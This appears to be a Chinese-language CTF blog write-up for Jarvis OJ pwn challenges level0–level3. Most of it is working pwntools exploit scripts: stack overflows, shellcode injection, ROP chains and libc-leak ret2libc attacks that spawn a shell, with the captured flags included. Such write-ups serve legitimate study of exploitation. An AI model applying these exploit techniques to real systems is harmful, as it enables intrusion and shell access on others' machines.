Skip to main content

Jarvis_OJ_pwn_level1to3

·408 words·2 mins
Table of Contents

level0 #

x86栈溢出

exp1 #

from pwn import *
#nc pwn2.jarvisoj.com 9881
io = remote("pwn2.jarvisoj.com",9881)


io.recvuntil("Hello, World\n")
payload = b'a'*0x88 +p64(0x0400596)

io.sendline(payload)
io.interactive()

# CTF{713ca3944e92180e0ef03171981dcd41}

level1 #

x86栈溢出 + pwntools自带的x86 shellcode使用

保护全灰,可以写shellcode了

gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  printf("What's this:%p?\n", &buf);
  return read(0, &buf, 0x100u);
}

这里会输出buf的地址,在buf内设置shellcode,然后覆盖堆栈将ret跳转的目标修改到buf的开头(即 set ip 到shellcode的起始点)然后执行shellcode,再进交互系统

exp2 #

from pwn import *
context( arch = 'i386')
# 先选相应系统
# log_level = 'debug'

#io = process('./level1')
io = remote('pwn2.jarvisoj.com', 9877)
shellcode = asm(shellcraft.sh())
#print("shell:\n",shellcraft.sh())

# What's this:0x ffb0aa80 ?\n

buf = int(io.recvline()[14: -2], 16)

payload = shellcode + b'\x90' * (0x88 + 0x4 - len(shellcode)) 
payload += p32(buf) #修改 ret 跳转目标
io.send(payload)
io.interactive()


# CTF{82c2aa534a9dede9c3a0045d0fec8617}

level2 #

x86栈溢出 + x86传参规律

from pwn import *
#设置目标机的信息,用来建立远程链接,url或ip指明了主机,port设置端口
r = remote("pwn2.jarvisoj.com", 9878)
# nc pwn2.jarvisoj.com 9878
system=0x08048320
#r.recvuntil('Input:')
sh = 0x0804A024

payload = b'a' * (0x88+4) + p32(system)+ p32(0) +p32(sh)

r.recvline("Input:")
r.sendline(payload)

r.interactive()

# 0804A024 /bin/sh
# 08048320 system

又由于调用函数压参数是逆序,所以将system唯一一个参数放在system的返回位置后面一个位置就ok了

level2 x64 #

先用ROPgadget找程序内有没有 pop rdi 可用拿来用 (ROPgadget真是好东西)

0x00000000004006b3 : pop rdi ; ret

pop rdi 把binsh_addr传入rdi

ret 把system_addr 给 rip

就变成了执行 system ( [rdi] )

exp #

from pwn import *
system_addr=0x000000000040063E
poprdi_drt=0x00000000004006b3
binsh_addr=0x0000000000600A90
p=remote("pwn2.jarvisoj.com",9882)
p.recvline()
payload=b'A'*0x80+b"A"*8+p64(poprdi_drt)+p64(binsh_addr)+p64(system_addr)
p.send(payload)
p.interactive()
'''
x64 优先使用用寄存器传参
rdi, rsi, rdx, rcx, r8, r9。当参数为 7 个以上时, 
前 6 个与前面一样, 但后面的依次从 "右向左" 放入栈中。
CTF{081ecc7c8d658409eb43358dcc1cf446}
'''

level3 x86 #

锁了 NX ,要泄露 libc

之前没怎么看懂泄露 libc的操作,这两天闲着看了看算是看明白了

from pwn import *
io = remote('pwn2.jarvisoj.com',9879)
write_plt=0x8048340
read = 0x804844B
write_got=0x804A018
payload1 = b'a' * (0x88 + 0x4) + p32(write_plt) + p32(read) + p32(0x01) + p32(write_got) + p32(0x04)

io.recvuntil('Input:\n')
io.sendline(payload1)
write_add = u32(io.recv(4))

# 计算system函数和/bin/sh在内存中的真实地址
libc = ELF('./libc-2.19.so')

t = write_add - libc.symbols['write']
system = t + libc.symbols['system']
binsh = t + next(libc.search(b'/bin/sh'))

payload2 = b'a'*(0x88 + 0x4) 
payload2 += p32(system) + p32(0) + p32(binsh)

io.recvuntil('Input:\n')
io.sendline(payload2)
io.interactive()
io.close()

好像只要是程序和libc里面有的函数都可以拿来泄露…

每次运行内存中的位置会发生变化

溢出修改ret跳转值

执行到write内部,函数将 write_got 作为参数输出在了屏幕上

level3 x64 #

和x86版的区别是传参要借助寄存器,所以要找 pop 来传参(话说传参方式应该还有很多吧?)

--> 0x00000000004006b3 : pop rdi ; ret
--> 0x00000000004006b1 : pop rsi ; pop r15 ; ret
from pwn import *
p=remote("pwn2.jarvisoj.com", "9883")

elf=ELF('./level3_x64')
libc=ELF('./libc-2.19.so')

context.log_level="debug"

main_add=0x4005e6
writeplt=elf.symbols['write']
writegot=elf.got['write']
rdiset=0x00000000004006b3  # 1 

rsiset=0x00000000004006b1 #2


payload0 = 0x88*b'a'
payload0+=p64(rdiset)
payload0+=p64(1) #  1 赋给 rdi
payload0+=p64(rsiset) 
payload0+=p64(writegot) # writegot 给 rsi

payload0+=p64(8) # 跳过 r15
payload0+=p64(writeplt)# write(1,writegot,0x200) rdx的0x200是read给的

payload0+=p64(main_add)

p.recvuntil("Input:\n")
p.sendline(payload0)

writeaddr=p.recv(8)# 收集 writegot 地址
writeaddr=u64(writeaddr)

sysoffest=libc.symbols['system']
binoffest=next(libc.search(b'/bin/sh'))
t = writeaddr - libc.symbols['write']
system=sysoffest + t
sh=binoffest + t

payload1 = b'a'*0x88
payload1 += p64(rdiset)
payload1 += p64(sh)+p64(system)

p.recvuntil("Input:\n")
p.sendline(payload1)
p.interactive()